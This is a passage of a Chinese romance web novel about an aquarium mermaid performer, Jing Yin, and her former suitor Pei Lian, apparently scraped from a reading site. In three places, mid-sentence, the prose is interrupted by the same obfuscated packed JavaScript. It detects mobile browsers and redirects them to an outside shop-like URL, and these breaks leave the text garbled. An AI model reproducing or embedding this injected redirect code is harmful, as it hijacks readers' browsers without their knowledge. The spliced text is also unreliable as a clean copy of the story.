《她怎么还没上钩》 1. 初恋求复合 季城憋了一个月的雪,终于在十二月末缓缓飘下。这么柔的雪,却也能在一夜之间积起一层厚厚的深度,着实让清晨拉开窗帘的市民们惊了一惊。 市郊海洋馆内,景音浸在水池里,只露出上半身倚在岸边,懒懒刷着手机。 「我听说裴涟回国了。」 屏幕上突然跳出这条消息。 猝不及防看到这个名字,让景音眼皮一跳。正犹豫该怎么措辞,对面又发来一条: 「他有没有联系你?」 发件人是她的大学同学方小芸,平时两人甚少联系,准确地说,是从大一两人吵了架后,就再没怎么说过话了。 景音微怔,回复:「没。」 「也是,以前你俩在一起那事是个误会,他跟你没什么好说的。不过裴涟昨天联系了我表哥,今天要一起出去谈公事呢,呵呵。」 方小芸说话一向这样意味不明。 在她眼中,可能自己是支带刺玫瑰。景音却觉得她像个肉鼓鼓的河豚,毫无攻击力。 她觉得好笑,手指敲下一行字: 「和我有什么关系?」 却没点击发送。 她和方小芸本没什么大矛盾,甚至在吵架之前还算是好朋友。 吵架的原因,无非就是方小芸短信里提到的这人——裴涟。 只是没想到这么多年过去了,方小芸仍在为这些事对她说些莫名其妙的话。 景音摇头轻笑,把打好的字一一删除。重新打下的字,便带了几分逗弄意味: 「裴涟没联系我,他直接来我家敲的门。现在就在我旁边,还没睡醒。」 难得的口嗨让她神清气爽,发完这条消息,景音就把方小芸屏蔽了。 刚要把手机放回岸上,同事路图穿着黑色紧身潜水衣走过来。 景音仰起头。路图精壮结实的胸肌投下了阴影,占据了景音大部分视野,甚至快要看不到他俊俏的脸。 ……啊,好大。 路图皱眉看着她,向她伸出只手:“手机给我吧,马上到点了。尾巴穿好了吗?” “穿好了。” 景音晃了晃身子,身下赫然是一条巨大的鱼尾,在水中若隐若现。 路图点了点头,拿走她的手机。 没了手机解闷,景音倚在岸边,方才闲逸的表情慢慢褪去,似乎陷入沉思。一双杏眼逐渐凝起神,手指轻轻摩挲着下唇,丰满的唇型鲜艳诱人。 路图又多看了她一眼,才把她手机拿进旁边办公室。 海洋馆各个角落,同时响起了节目播报。 “尊敬的旅客朋友们,美人鱼表演即将在十点三十分开始,各位旅客请前往一楼的海洋剧场,美人鱼在等着你。” 播报三遍后,海洋剧场内逐渐聚集了人群,三排座位满满当当。 厚厚的透明亚克力墙将鱼群和人群隔开。墙内,黄金鲹结群穿行在珊瑚花圈,偶尔几只蝠鲼和海龟悠然游过缸底;墙外,大多是家长带着孩子,因此热闹人群的边缘,有两个高大男人格外惹眼。 尤其那个穿着黑色毛呢大衣的男人。 挺括的衣料版型衬出他的孤傲显贵,眉眼深邃,侧脸立体精致,和他身上散漫又不可一世的气质相得益彰。 他的视线,聚焦在墙上一张宣传海报上: 「拒绝动物表演」 海报中,被拔掉牙齿遍体鞭伤的老虎、瘦到看见骨架却仍在顶球的大象、背鳍弯曲患上抑郁症的虎鲸…… 男人的双眸逐渐深沉。 十点半很快到了。音乐声准时响起,巨大的鱼缸内游来一个影子。 小孩子们都很兴奋:“妈妈爸爸,那个是蛙人!” 透明墙内,潜水员负着氧气瓶,和金黄的鱼群缠绕追逐。音乐声逐渐激烈,潜水员突然像被沉船布景勾住了脚,无法再往上游。 小朋友们急得哇哇叫,连大人都捏了把汗,分不清这是真实的还是演的。 水缸深处,不知何时游来一个女人。她的皮肤在水下透着幽幽莹光,脸蛋明艳却不落俗,美得不似真人。 腰肢扭动间,一尾纤长的鱼尾赫然与她腹部连接,鳞片清晰可见。 她身上没有任何潜水设备,如妖似魅地在水中游行。 观众席一片惊叹。 人鱼伸出一只手,周围成群的黄金鲹迅速缠绕上她的胳膊,又顺着她指尖游出去,把前方潜水员层层包围住。 潜水员像被鱼儿们救了出来。他想去牵人鱼的手,然而人鱼一个摆尾,游走了。 孩子们兴奋叫了起来,观众席响起掌声。 景音浮出水面换了口气,又沉了下去。 她控制着手中的鱼粮,带着鱼群钻了几个圈后,游到了和游客互动的墙边,隐约看见透明墙外已经排起了长队。 水中的视野其实并不似常人想象的那般清晰。 人类的眼睛无法在水里聚焦,连早已习惯了在水下睁眼的景音,也只能模糊视物。 来互动的大多是小朋友,偶尔有些年轻女性。队列终于到了末端,景音眼前,赫然出现一个高瘦男人的黑影。 成年男性游客属实少见。 景音维持着笑容,冲他吐了个泡泡圈。 男人不为所动。 她又在水中画了一个爱心,男人仍旧僵硬。 她把手掌贴在墙上,示意和他贴贴,然而这黑衣男人就同被定了身,什么反应也没有。 景音突然涌起股极大的挫败感。 以往互动的小朋友们都会给她强烈的反馈,这名男子,莫名激起了她的好胜心。 她微恼,仔细分辨了下他的身后,并没有看到年轻的女性。 于是凑上前去,红唇轻贴在凉凉的透明墙壁上。 男人终于动了。 他跑了。 “靠!” 景音在水下吐出一串泡泡。 她游上水面换了口气,再次潜下水。 墙外的人已经换了另一名蓝影男子。今天的男游客似乎还挺多。 景音从身旁困了条小鱼在手里,送到男子脑袋边,蓝影子看起来很兴奋。 她这才满意,看来不是自己业务能力出了问题。 纯粹是刚才那男人,毫无情趣。 互动完后,景音游上岸,脱掉鱼尾,进二楼员工休息室里的淋浴间冲了个澡。 吹干头发换上常服,她把冲淋过的鱼尾带回旁边的办公室。 路图早已回来了,翘着腿坐在桌前玩手机。 景音背对着他,在办公室内晾起鱼尾。 路图偷偷看了她一眼。 女孩儿换了件简单的长袖T恤,更显得她的气质干净。少了水底光线带来的不真实感,此时冬日阳光下的她更像站在凡尘的希腊少女,圣洁、明丽、不可亵渎。 晾好鱼尾,景音转过身。路图匆忙低下了头,喉结微动。 景音总感觉哪里不对劲。 视线寻了半天,原来是桌上多了只玻璃恒温壶,里面是满满的深红色的液体。 路图抬头看了她一下,表情顿时不太自然起来:“我新买的祛湿茶,放在这儿,大家一起喝。” 他们的办公室是临时组建起来的,仅有一张大桌,几个椅子零散地摆在旁边。 景音点点头:“好。” 路图最近动不动就瞅她的徒弟江晨瑶,景音猜,这祛湿茶也是给江晨瑶买的,只是借口放在这里。 她给自己倒了杯茶,坐下写了会儿工作日志,然后掏出手机摸鱼。 方小芸发来十几条语音。景音不想听,索性无视了她的消息,习惯性地点进朋友圈。 备注为“L”的人,罕见地发了条动态—— 「初恋求复合,怎么办。」 景音盯着这行字发愣。 出于某种原因,她没有删掉裴涟的联系方式,只是对他屏蔽了自己的朋友圈。 对方亦没发过动态,景音一直相信自己也被屏蔽了。 直到现在,她才否认了这个猜测。 点开对方的头像,对方设置了动态仅三天可见。因此,除了最新的这条“炫耀” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572820|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他什么也没有。 她对裴涟的认知并不算多,也不知他的初恋是谁。 刚回国,就被初恋求复合啊…… 倒是很符合她对裴涟的刻板印象。 方小芸的短信加裴涟的朋友圈,再次挑起她的某根记忆末梢,翻出了一些陈旧画面。 景音感觉胸口有丝绞疼似的发闷。 她收起手机,问路图:“江晨瑶呢,今天迟到这么久?” 路图指了指外面:“刚才来了,自个儿练潜水去了。” “一个人?”景音蹙了眉。 “啊。” 她抿了口祛湿茶,起身出了门,留下句:“谢了。” 潜水员们的练习场地就在隔壁废弃的白鲸表演馆。 景音下了楼,一楼剧场内还有零星的游客。她急匆匆横穿剧场,拐进一条走廊,而后打开白鲸馆的大门。 这里有两个大水池。江晨瑶坐在观众席上,已经换上了泳衣,抱着手机在玩手游。 听见她进来,江晨瑶抬头看了一眼,又迅速低下头:“景老师。” 手中的动作倒是一刻没停。 “路图说你在练潜水。”景音声音带着丝凉气儿。 江晨瑶有点不耐烦:“马上啊,马上。” 景音没搭腔,难得江晨瑶又补了句:“我刚才一直在练呢。” 看着她干燥的头发,景音想着江晨瑶是不是真的玩游戏失了智,居然张口就来这么明显的谎言。 她着急过来其实是怕江晨瑶一个人在水下闭气有危险。现在看来,自己在这里反而多余。 再开口,景音的声音不免染上了些愠色:“你来了有半个月了,连豚踢都没学会,到时候要怎么完成表演?” 豚踢是人鱼表演最基本的游泳姿势,基础到相当于走路。 江晨瑶皱了眉:“我不是天天练着呢吗。” “你的姿势太僵硬,一眼就能看出是人在模仿鱼。” 江晨瑶的手机发出激烈的打斗声,她大力搓着屏幕,显然没听进景音的话。 “你最大的问题是游起来膝盖打弯。想象一下,鱼的骨骼动起来像波浪一样,不可能和人的膝盖一样突然打直角。”景音盯着她,“我让你回家练wave,你练得怎么样了?” 冰冷的女声自手机中传出:“Defeat.” 江晨瑶闷闷不乐地熄屏,把手机塞进旁边的包里。景音听见她小声说了句:“烦死了。” “你要是不愿意学,就早点告诉馆长,趁早换人。” 景音不带感情的声音似乎刺激到了江晨瑶,她突然转过身,怒目而视。 “你以为我想学啊,你们连个训练场地都没有,水这么冷,大冬天的谁愿意下水啊!还说什么憋气要憋至少两分钟,哪天呛死都不知道,要我说这种表演早点淘汰吧,害人!” 江晨瑶拎起包,快步走出去,重重关上门。 景音原地怔了半晌。 “叽——” 她回过头,另一个水池里,游来一只白鲸。 “小猪。”景音蹲下拍拍它滑滑的脑袋,“……第五个人了。” 白鲸小猪探着脑袋,就这样悬停了几秒,突然转过身体,潜进水下,又叽叽叫了两声。 像是在邀请。 景音看着它的影子,面上的阴翳淡了些,唇角也不自觉弯了弯。没过多考虑,她毫不犹豫地随它跃进水里。 白鲸偶尔发出鸣响,似乎很愉快多了个同伴。一人一鱼在半大的池子里游了几个来回,景音心底的闷烦已经消散大半。 游得累了,景音干脆悬在水底,任小猪在她身旁穿梭。 许是第六感作祟,她心底蓦地升腾起异样感,仿佛,在被人注视着。 岸上……是不是站了个黑影? 景音冒出水面,咫尺之遥的岸边果然站了个男子。 水池斑驳的光反射在他面庞上,愣是显出了一丝不真实感。 景音足足愣了五秒。 裴涟? 他为什么会在这里? 2. 人模狗样的 裴涟站在岸上,沉默不语。 他的样子没怎么变。轮廓精致,鼻梁高挺,狭长又略上挑的眼眸里,一双浅瞳淡漠至极。 像是幅毫无情欲的素描画,被以最优越扎实的技法画了出来,却唯独缺失了色彩。 此刻,这双浅眸的主人正自上而下睨着她,情绪难以察觉。 对视了几秒后,景音的视线有些心虚地往下躲。 碰巧,瞄见那颗朱红的痣,点缀在他清瘦修长的脖侧线条上。 男人喉结微动,那痣像是有了生命般地跟着起伏,像是为这具身体设置的唯一纵欲的开关。 景音突然想到以前那帮人对他的形容: 蛊惑众生的脸和纯欲的躯体,恨自己有个清心寡欲的大脑。 ——她不自觉想起两人最后一次见面的场景。 那次属实算不上有多愉快,甚至现在回想起来,算是景音人生中的尴尬高光时刻。 那是裴涟最后一次对她表白。 她被裴涟纠缠了一年,已经不厌其烦,而彼时自己还有点心理上的毛病。 裴涟不顾ktv里还有许多校友,带着醉意在她耳边反反复复地求:再给他一次机会,试试。 男人的浅眸在昏暗的包间中熠熠生辉。景音揽过这个平日被众星捧月的理工大校草,调情般在他脖间印下一吻。 她看他那颗朱砂痣不顺眼很久了。 万籁俱寂时,景音抬起头,机械地告诉他: 试过了,没有感觉。 裴涟当时的神情,偶尔还会出现在午夜梦回,顺带着些别的复杂情绪,让景音难以安眠。 而她当年,居然能做出如此让人两眼一黑的举动…… 从回忆中抽离,景音克制住想骂自己有病的冲动,迟钝地分析出了一个裴涟会出现在这里的原因。 她故作镇定地清了清嗓。 “你好。”她声音有点哑,“这里不对游客开放。” 裴涟的眉微微凝了凝。 他还没说什么,急匆匆的脚步声就从门口传来。 景音侧过头,看见王馆长从门口跑进来。 “不好意思啊裴总,老婆的电话不能不接……您怎么进来了?这里早闲置啦,只有一条生病的白鲸,现在给员工——哎呦妈呀,小景,你在啊?” 王馆长走近才看见水中的景音,夸张地吓了一跳。 裴涟没理他。 王馆长尴尬地搓搓手,只好又介绍起来: “啊,这是海洋剧场的员工,负责美人鱼表演的。小景,这是裴总,大老板!你泡里面干啥呢,快上来。” 王馆长使劲冲景音眨着眼。 景音微微僵硬地上岸,水渍顺着腿蔓延了一地。 “裴总好。”她盯着空气。 “裴总可是很有意向给咱馆里投资呢,哈哈哈。”王馆长笑得和气万分,“以后啊,你这条小白鲸能改善伙食啦!” 景音:“……谢谢裴总。” 裴涟半垂着眼,没应声。 王馆长只觉得气氛微妙。 投资这事其实八字还没一撇,裴涟不回应他,难道是悬了? 他又捧着笑脸:“裴总,咱去外边说话,这里没暖气,怪冷的。” 被王馆长一提,景音才想明白,裴涟为什么一副反常的样子站在水池边。 ——这里又冷又空旷,自己方才悬在水中陪小猪,从岸上来看,她怕是跟个尸体没什么区别。 所以,裴涟这是…… 被她吓到了吧。 面前的人像是为了打破她这个想法,幽幽开了口: “不急。” 声音带着些磨耳的低哑,还是那样礼貌却疏远的语气,尾音还要懒散地拖长,像一只不给摸的猫。 景音已经不矮,裴涟比她还要高出一个头。男人低下眸,脱掉身上的外套,向前一披,包粽子似的围在景音身上。 景音身上的长袖t恤,在门外烘着暖风满是热带鱼的海洋剧场里,厚度正好。 但在白鲸馆,尤其她还是一身湿的情况下,确实有点冷了。 毛呢大衣带着若有似无的清幽香气,揉在裴涟残余的温度里,阻断了她不断散发的体温。 八月夜桂花。 她以前也有这款香水。 景音有些无措。 她以为按照两人最后一次见面发生的事来看,裴涟现在高低得痛骂她一句神经病。没想到居然还能关心她,着实是有气度。 她心虚看着地面:“谢谢。” 裴涟抽离了手,淡然看向水中的小猪:“它生了什么病。” 景音如实回答:“压力大。” 裴涟眉头轻皱,显然没理解。 “白鲸是群居动物,这里只剩它一只,它很孤单。”景音向他解释,“再加上以前训练让它有心理阴影,所以它状况一直不太好。” 语毕,她又补了句:“我刚才就是在模拟它的同伴,和它一起嬉戏。” 免得被裴涟误会她是想不开打算溺死自己。 裴涟淡扫了她一眼,没再说什么,转身出了门。 王馆长跟在他身后,刚要迈出门槛,突然回头小声掐着嗓子: “小景,发什么呆啊,快出来!” “?” 王馆长指指她身上的衣服:“留着收藏啊?” “……来了。” 景音拢紧了外套,略粗糙的羊毛纤维磨着她的指腹。她蹲下拍了拍小猪软软的脑袋,又浅吸了口大衣上的香气,才跟上了王馆长。 出了白鲸馆,外面有名蓝衣男子在等待。 看见裴涟,男子很熟稔地上去拍他的肩:“参观完了?你怎么把外套脱了,这么热啊。” 景音突然走也不是,停也不是。 男子很快看见了后面的景音,脸上惊了一惊,而后换成一副揶揄的神色: “哟……这不是那个美人鱼小姐姐吗!” 景音只得点了点头。 男子冲她笑:“你好你好,我叫王嘉。” “你好。”景音礼貌回应。 而后,她突然发现一件恐怖的事情。 王嘉叫她什么? 美,人,鱼,小姐姐。 景音重新看向王嘉。他穿着件蓝色的轻便羽绒服,而旁边的裴涟,身上只一件素色衬衫。 不过,裴涟的黑色大衣正披在自己的身上。 这两人,无论身高体型,还是衣服颜色,都和她在鱼缸里互动的那两个男游客差不多…… 那么她,是怎么和他们,尤其是和那个黑影子,互动的呢? 景音脸颊蓦地一顿烧。 因为她想起一件更过分的事。 她早上跟方小芸口嗨,说自己把裴涟睡了。 …… 虽然,裴涟不可能知道她在短信里的生猛发言。 但景音越发地不敢看他。 她也没想到这么快就能遇到正主啊! 景音偷偷挪了两步,想往楼上办公室蹿。 身旁很及时传来凉凉的声音: “穿着我的衣服,想去哪。” “……” 抬头,裴涟正盯着她看。 景音脚步立停,开始脱外套。 而后又停下了动作。 她浑身湿透,这里还有零星的游客,脱了外套,是有点,影响馆容。 裴涟凝着她的动作:“你有没有换洗的衣服。” “……在楼上。” “我跟你去。” 景音浅笑着推脱:“不用麻烦了,裴总。” 听见她这句客气话,裴涟唇角染上些意味不明的冷笑。 “景音。” “打算跟我装不熟到什么时候?” 语气带着胁迫似的,让景音心里打了个寒颤。 “……” “你们认识?”王嘉很是惊讶的样子,指指俩人。 “嗯。”裴涟仍盯着她,“老同学。” 旁边安静了半晌的王馆长终于开口:“原来是老同学啊!瞧我这眼神,我还以为……” “我待会儿把衣服给你送下来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572821|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景音撂下一句话,闷头跑了。 果然还是她把人想得太好了。 裴涟那六亲不认的眼神,应该不止于骂她神经病,而是打算找个好时机偷偷刀了她。 景音飞快换了身衣服,然而她发现了一件事:裴涟的外套内里沾了她身上的水,潮了一片。 这本是自然而然就能想到的事情,但由于刚才撞见裴涟太震撼,她没反应过来。 景音又回了办公室,路图还坐在里面。 “有没有多余的外套?”她问。 路图茫然瞅着她:“咋了。” “借我用一下。” 路图不明所以,但还是从隔壁休息室拿出件羽绒服。 “过两天还……”她微顿,然后改了口:“算了,多少钱?我买了。” “你要干嘛?”路图问她,“你衣服坏了?” “不是我,我帮别人借的。” “那之后还回来不就行了。” 景音别过脑袋,小声嘀咕了句什么。 路图没听清,把脸凑的近了些:“你说啥呢。” 突如其来的近距离,让景音下意识地回避。 “没什么。”她答,“说个数。” 她已经拿出了手机要给路图转账。 路图差不多知道她的脾性,只好说了个数字,很快景音就把钱转来了。 景音把怀里的毛呢大衣一起塞给他:“去一楼,给一个穿浅色衬衫的男人。” 路图抱着两件衣服,一脸懵逼。 景音轻推他:“还愣着干嘛。” “谁啊?”路图明显不理解她这一套操作,“姐,你怎么不自己去送啊。” “……我腿疼。” 路图挠挠头:“好吧。就……就穿浅色衬衫,还有啥别的特征没?” 景音沉寂了两秒。 “长得人模狗样的。” “……” - 王嘉的手指在亚克力墙上敲了又敲:“我叔也忒不靠谱了,老婆一叫就跑,说好了中午请我们吃饭呢……” 裴涟在他一侧,身子懒懒倚着墙,注视着水里的鱼游动。 “你的老同学怎么还不下来。”王嘉有一搭没一搭地看了眼楼梯口,“哎,来了来了。” 裴涟顺着看过去,下楼的却是个高高大大的小伙子,手里抱着两件衣服。 裴涟眼神沉了下去。 路图看见裴涟,也愣了一下。 他认得这张脸。 路图脚步停了一拍,心底逐渐涌起巨大的难以置信。佯装淡定地下了楼,他冲裴涟开了口: “裴先生?” “是我。”裴涟接过自己的大衣。 路图面上滑过一丝不自然,扯起嘴角干笑了笑:“小音让我把这个也借给你。” 他递出自己的羽绒服。 羽绒服明显是男款。裴涟低头看了一眼,淡淡回答:“不用了,谢谢。” 接着就要披上自己的大衣。 “穿这件吧。”路图突然伸手,拦住他穿衣服的动作,“不然,等我回去,小音要跟我生气的。” 他手用上了劲,力道还不小。 裴涟抬眼,重新审视了下面前的青年。 高大结实,皮肤透着股健康的活力。算是比普通人要眉清目秀些,只是笑容难看又僵硬,似乎对现在做的事十分不擅长。 “你怎么知道我姓裴?”裴涟突然问。 路图恍了一瞬,很快回答: “小音让我,交给裴先生。” “你是她同事。”裴涟淡着语调。 不像在提问,倒像是在陈述。 路图迟疑了下,后听见自己这样回答:“我是她男朋友。” 裴涟动作微滞,但仍避开了他的手,穿上了大衣。 “是吗。” 他缓缓系着扣子。一个、一个,光滑细腻的牛角扣被他冷白的指尖摆弄捏紧。 末了,他抬眼,毫不掩饰眼底的桀骜。 “她的审美,好像没这么差吧。” 3. 海你个头 景音当晚做了个梦。 她在水里拼命拖着裴涟的身体向上游,裴涟却如同巨石,带着她往下坠。 怎么也坠不到底。 她越来越无法呼吸。就要失去意识时,景音猛地睁开双眼,看见了半拉着的窗帘遮住月光,月色安静地投在半边墙壁上。 再无法入眠。 次日,她顶着黑眼圈去上班。 进了办公室,那壶显眼的祛湿茶还摆在桌上。 路图坐在桌前,也一副没睡醒的样子。 “怎么还泡这茶?江晨瑶不是离职了吗。”景音觉得奇怪。 路图没太有精神,甚至没听懂景音的话:“什么?” 景音又看见桌上摆着的一大罐茶包,恍然般点点头,没再深究。 喝了半杯,两人下楼,要去参加珍珠岛海洋馆每天早晨的“开馆仪式”。 王馆长一身运动装站在广场前,看起来要比在场的所有员工加起来还要朝气蓬勃。 景音跟在路图后面,默默站在了员工方阵的最后排。 “新的一天开始了!”王馆长拿着只喇叭放在嘴边,“元气满满的一天,加油干!为了大海,为了鱼!” “为了大海,为了鱼。” 员工们甚无兴致。 王馆长举起一个拳头刺向天空:“精气神都给我拿出来!” “为!了!大!海!为!了!鱼!!” “好!!!” 王馆长似乎从中获得了力量,他摁下脚边的音箱,一首逗印神曲DJ版大声回荡在海洋馆上空。 群魔乱舞。 一曲结束。 一曲很短吗? 是串烧。 景音擦擦额头,见鬼了,大冬天的竟然给她干出了一头薄汗。 员工们刚要四下散去,王馆长突然举着喇叭叫道:“等一等,今天有事宣布!” 员工们纷纷停住脚步。 “大家都知道,这个副馆长啊,上个月光荣退休啦,我们还给他举办了欢送仪式。”王馆长表情似乎在回味,“今天,我们荣幸地欢迎新的副馆长,加入我们珍珠岛海洋馆幸福的大家庭!” 四下无声。 第一排的财务小妹默默举起了手:“馆长,人呢?” “咳咳,副馆长刚才身体有点不舒服,在办公室休息……” 景音默默腹诽,这位副馆长是不想来晨练吧。 王馆长不甘地酝酿了下:“……明天,明天一定邀请副馆长来参加开馆仪式!” “还有啊,年底的员工考核也要开始了,由去年优秀员工组成的考核团从今天起会陆续对大家的工作进行考察。大家守好自己的职责,这关系到年终奖与来年的等级评定。好了,解散!” 人群顿时如鸟兽散。 景音在海洋馆只工作了半年,并没经历过年底考核。 她问身边的路图:“这考核都会让我们干什么?” “不干什么,就是在我们工作的时候过来看看,然后给我们的工作打分。”路图有点心不在焉。 景音点点头,没再多问。 海洋馆十点对游客开放。现在是九点半,开馆之前,员工们一般会趁这时对另一批员工进行维护。 另一批员工,也就是各种海洋生物。 景音和路图是海洋剧场唯二的员工,一些不需要专业知识的杂活,比如除藻、换水、喂鱼还有巡检等等,都是他俩干。 昨天还有第三个劳动力,可惜跑了。 景音昨天已经和人事部报备过需要再招一个人,但根据以往的经验来看,得等几天才会有人来面试。 换上潜水服,景音去鱼缸除了一轮藻。等她上岸,离演出时间还有十来分钟。 回了办公室喘口气,恰好路图也干完别的活回来。 路图一屁股坐在椅子上,语气不甚明朗:“我看见考核团到一楼了,估计待会儿要先看咱演出。” “这么快?” “嗯。”路图点点头,“好好表现啊,邓昌安也在。” “哦。” 见景音一副毫不在乎的样子,路图有点儿急。 “我上周还听见他跟人事部那姑娘说你坏话呢。”路图语重心长起来,“他一直很不满你把他挤走,这次考核肯定会想办法针对你。” 邓昌安原本是白鲸馆的训练员。自从三条白鲸死得只剩下一条后,海洋馆就把白鲸表演改成了美人鱼表演,邓昌安也换了岗位。 “白鲸又不是我弄死的,他对我不满有什么用。”景音满不在乎地笑了笑,眼神却带着点点冷意,“他又说服不了馆长再买几条白鲸,也不肯来当潜水演员,被调到工资低的岗位,很正常啊。” 路图叹了口气:“是这个道理,但邓哥这人就是小心眼。他不知道从哪听说是你给馆长出的主意淘汰了白鲸表演,一直把他调岗的事算到你头上呢。” 景音:“哦。” “而且他去了鱼类饲养那边之后,还挤走个干了很久的同事。防着他点总没错。” 景音点点头:“知道了。” 办公室陷入沉寂。须臾,路图的神情像犹豫了很久,吞吞吐吐又开了口。 “昨天那个……” 景音手机闹钟恰逢其时地响起来。 “到点了。”景音关掉闹钟站起身,“走吧,考核团还在楼下等着呢,换衣服去。” 路图闭上嘴巴,没再说下去。 办公室对面就是护栏围起的水池顶部。为了更好地呈现观看的视觉效果,二楼是全封闭的,只有走廊尽头的楼梯能通向一楼的剧场。 因此,在下水前,是看不见楼下的剧场的情况的。 景音特意选了只漂亮的银色鱼尾。换好上衣后,她拿着脚蹼和鱼尾去到岸边。 鱼尾末端是半开放的,更像是条裙子。穿好鱼尾后就无法移动,这时候便可以穿戴脚蹼。 最后整理鱼尾将脚蹼包严实,看上去便是天衣无缝一条鱼尾巴。 路图戴好潜水头套,先一步跳进水里。景音坐在岸边,听着音乐节奏,掐着时机深吸一口气,也潜入水中。 今天轮演另一个剧情,大概是潜水员去沉船探险,而后发现了野生美人鱼。 水池足够高深,而且布景复杂,从观众视角看不见景音他们自二楼的高度入水。景音从沉船后方潜了进去,几秒钟后,路图的手电筒灯光照了进来。 她从破裂的船舱游出,路图做出震惊的动作连连后退,空出场地给景音和鱼群表演。 鱼群一见她便围了上来。 景音被包在其中,摆了几个漂亮的舞蹈姿势。片刻后鱼群散开,她做了一个颇有难度的动作——360度后翻。 完美完成动作后,她游到墙壁前接受墙外听不见的掌声。然而当鱼群空出视野时,景音却透过侧方的墙看到一个影子。 身姿颀长,腰背挺直,和昨天的裴涟一模一样。 景音猝不及防呛了口水。 鼻腔迅速灌进液体,景音直觉捏住口鼻。窒息感涌了上来,她尽量不去看那个黑影,凭着身体的本能浮上了水面。 “咳…咳咳……” 景音猛捶着胸口,不受控地疯狂咳嗽,直到窒息感慢慢缓解。 好在并没有呛进太多水,只是当着观众的面,这绝对算是明显的演出事故。 她调整呼吸,深吸了口气,几秒钟后缓了过来。 偏偏今天还有年底考察…… 景音暗骂了声。 刚才的裴涟到底是真人,还是她的幻想? 顾不上想太多,景音重新憋了气,潜回水中。 还好她和路图有商量过演出事故预案,此时路图接替了她的位置,正引着鱼群嬉游。 余光小心看向方才的墙外,那个酷似裴涟的影子已经消失了。 景音松了口气。 演出完成,她浮上水面。 二楼的岸上已经站了一排人,显得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572822|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些拥挤。为首的削瘦小个子男人,正是邓昌安。 景音心底微沉。 邓昌安手里拿着个写字板,眼底是一贯的讥诮神情:“景音,美人鱼演员,考核等级D。” 路图也上了岸,他脱掉背上的氧气瓶,微笑着冲邓昌安打招呼:“邓哥。” 邓昌安嗯了声算是回应,招呼着身后人要走。 “等一下。”景音突然叫住他们。 邓昌安不耐地转过头:“怎么了?” “评定都从那几个方面打分?”景音缓声问,“除了表演,难道考勤、营收等等,都不在你们的考核范围内吗?” 海洋剧场的入场券需要单独付费,并不包含在海洋馆门票的套票内。 景音每个月都会找财务小妹问剧场的营业额,并且据她所知,营业额和曾经的白鲸馆不相上下。 邓昌安都能凭借曾经的业绩当上优秀员工,足以证明剧场的收入并不算低。 邓昌安身后的阿姨开口了,景音记得她是检票员。 “小景啊,是这样的,你其他的考核项成绩都不错,就只是工作内容不太好……” 阿姨的声音在邓昌安的瞪视中渐歇。 “你这工作性质和我们不一样。”邓昌安换上副伪笑,“作为一个潜水表演,你要直接面对观众,评判标准和大家自然不一样。你可能不知道啊,刚才你呛水的时候,观众都吓坏了,这不是给咱们馆造成了不良影响吗?” 景音默不作声,只捏紧了手指。 “没别的问题了吧。”邓昌安漠然扫了她一眼,“走了。” 考核团陆续下了楼梯。 景音慢慢上了岸,坐在岸边,开始脱脚蹼。 路图过来安慰她:“没事,邓昌安跟你装逼呢。考核团又不是他一个人说了算,最终分数是要取所有人平均值的。” 景音无所谓地耸耸肩。 她呛水是事实,就算看平均分,她也不会好到哪去。 大概也知道自己的话没什么安慰效果,路图挠挠脖子,问她:“你刚才怎么会突然呛水啊?以前从来没见过你失误,都吓了我一跳。” “……”景音缓声,“见鬼了。” “啊?你别吓我。”路图看了看四周。 景音已经脱掉了鱼尾,抱着脚蹼往休息室走去,随便挥挥手:“不用怕,是艳鬼。” 休息室常年敞着门。景音落下一路的水渍,刚进了门,就停住脚步。 裴涟居然坐在里面,正盯着手中的一张纸。察觉到景音来了,他抬头看了她一眼,后又毫不在意似的低下头。 “艳鬼。”他淡着声音,“在哪儿呢。” “……” 真的是见鬼了。 景音想翻白眼,原来刚才在水池里见到的真的是裴涟。 而他在把自己搞得呛水之后,居然没事儿人一样跑来这继续蹲她。 “你在这干嘛。”景音有点没好气儿,“还没考察完呢?” 话说完,她难得地脑袋灵光了一下。 今天,好像有副馆长来任职啊。 看昨天王馆长对裴涟那副小心的样子,该不会裴涟投资了海洋馆,还顺便搞了个副馆长的位置坐吧。 正当景音开始恼怒这个逼班越来越难上的时候,裴涟把手里的A4纸递给她。 景音蹙着眉接过了纸。 明晃晃四个大字印入眼帘,她惊讶地微张了嘴—— 「个人简历」 裴涟一脸淡然:“你们在招水下演员啊。” 景音:“……” 裴涟:“你看我怎么样?” 景音嘴角抽了抽,感觉这个世界好像出了问题。 “你在和我开玩笑吗。”她干笑着地晃了晃手里的鱼尾,“我要招的是女性,能穿这个的,美,人,鱼。” 裴涟居然也认真思考了一下。 